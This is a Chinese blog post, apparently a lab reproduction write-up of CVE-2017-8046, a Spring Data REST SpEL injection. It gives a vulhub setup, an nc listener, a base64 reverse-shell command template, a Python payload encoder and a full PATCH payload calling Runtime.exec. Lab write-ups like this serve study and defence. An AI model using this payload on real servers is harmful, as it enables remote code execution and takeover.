影响范围:

  • Spring Data REST 2.5.0 - 2.5.11

  • Spring Data REST 2.6.0 - 2.6.8

  • Spring Data REST 3.0.0.RC1 - 3.0.0.RC3

  • Spring Boot 1.5.0 - 1.5.8

  • Spring Boot 1.4.x 及更早版本

漏洞类型:

SpEL表达式注入

操作系统限制:

配置要求:

默认配置

漏洞利用:

命令执行,进行反弹shell,写入木马

利用原理:

Spring Data REST支持通过PATCH请求对资源进行局部更新,PATCH请求包含一个path字段,用于指定修改的对象属性,后端接受请求时,Spring会将path字段直接传递给SpeExpressionParser解析,框架没用对path进行安全过滤或合法性检验,攻击者可以在path字段构造SpEL表达式实现代码执行

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2017-8046
#拉取镜像
docker-compose up -d

攻击机开启监听端口,nc -lvvp 监听端口

抓取http://公网:8080/customers/1数据包

发送到Repeater模块

将反弹shell进行base64编码后构造出敏感命令

bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

编码脚本

def cmd_to_spel_ascii(command):
    # 将命令转换为 ASCII 数字列表
    ascii_values = [str(ord(c)) for c in command]
    
    # 用逗号分隔并打印
    result = ",".join(ascii_values)
    
    print("\n[+] 原始命令: " + command)
    print("[+] ASCII 序列 (逗号分隔):")
    print(result)
    
    # 额外生成一个可以直接用于 SpEL 的 Payload 参考
    # 逻辑:利用 new java.lang.String(new byte[]{...})
    spel_payload = "new java.lang.String(new byte[]{" + result + "})"
    print("\n[+] SpEL 字节数组参考:")
    print(spel_payload)
​
if __name__ == "__main__":
    target_cmd = input("请输入要转换的命令 (例如反弹 shell 指令): ")
    cmd_to_spel_ascii(target_cmd)

使用脚本对敏感命令进行ascii编码,构造注入的payload,修改请求类型为,PATCH,添加Content-Type: application/json-patch+json,请求主体为构造的payload,这里用了反弹shell

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ascii编码的敏感命令}))/lastname", "value": "vulhub" }]

发送后返回400

成功连接,虽然连接不稳定


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Spring
喜欢就支持一下吧